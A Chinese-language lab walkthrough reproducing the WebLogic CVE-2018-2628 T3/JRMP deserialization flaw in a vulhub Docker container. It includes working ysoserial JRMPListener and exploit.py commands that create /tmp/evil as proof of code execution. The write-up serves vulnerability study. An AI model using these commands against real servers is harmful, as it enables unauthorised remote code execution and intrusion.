基礎知識
WebLogic是Orcale出品的一個application server,是J2EE構架中的一部分,具體構架如下(圖片來源:https://www.bilibili.com/video/av53746375?p=1)

漏洞原理
遠程攻擊者可利用該漏洞在未授權的情況下發送攻擊數據,通過T3協議(EJB支持遠程訪問,且支持多種協議。這是Web Container和EJB Container的主要區別)在Weblogic Server中執行反序列化操作,利用RMI(遠程方法調用) 機制的缺陷,通過 JRMP 協議(Java Remote Messaging Protocol:java遠程消息交換協議)達到執行任意反序列化 payload 的目的。
影響版本
Oracle WebLogic Server10.3.6.0
Oracle WebLogic Server12.2.1.2
Oracle WebLogic Server12.2.1.3
Oracle WebLogic Server12.1.3.0
復現環境
在ubuntu 16.04虛擬機中用vulhub靶場提供的docker鏡像來復現
jdk版本1.7,python版本為2.7(不能是python3,exploit.py腳本只能在python2上執行)
WebLogic版本為:10.3.6.0
ysoserial:https://github.com/brianwrf/ysoserial/releases/tag/0.0.6-pri-beta
exploit.py腳本:https://www.exploit-db.com/exploits/44553
復現過程
1. 進入vulhub目錄:weblogic/CVE-2018-2628,啟動docker容器:docker-compose up -d
啟動容器過程中一直連接超時或者無權限的錯誤,解決方法:網速問題,需要。。。你懂的~
啟動成功后weblogic也啟動了,可以訪問weblogic控制台:http://127.0.0.1:7001/console
2. 啟動一個JRMP Server
java -cp ~/sally/ysoserial-0.0.6-all.jar ysoserial.exploit.JRMPListener 2325 CommonsCollections1 'touch /tmp/evil'

3. 使用exploit.py腳本,向目標Weblogic(http://ip:7001)發送數據包:
python ~/sally/exploit.py 127.0.0.1 7001 ~/sally/ysoserial-0.0.6-all.jar 127.0.0.1 2325 JRMPClient
結果發送的數據包沒有被監聽端口2325接收到,修改IP地址為docker的ip地址:
python ~/sally/exploit.py 127.0.0.1 7001 ~/sally/ysoserial-0.0.6-all.jar 10.0.2.15 2325 JRMPClient
接收數據包成功:

4.進入docker容器:docker-compose exec weblogic bash
發現tmp/evil,惡意指令執行成功

本文僅用於技術學習和交流,嚴禁用於非法用途,否則產生的一切后果自行承擔。
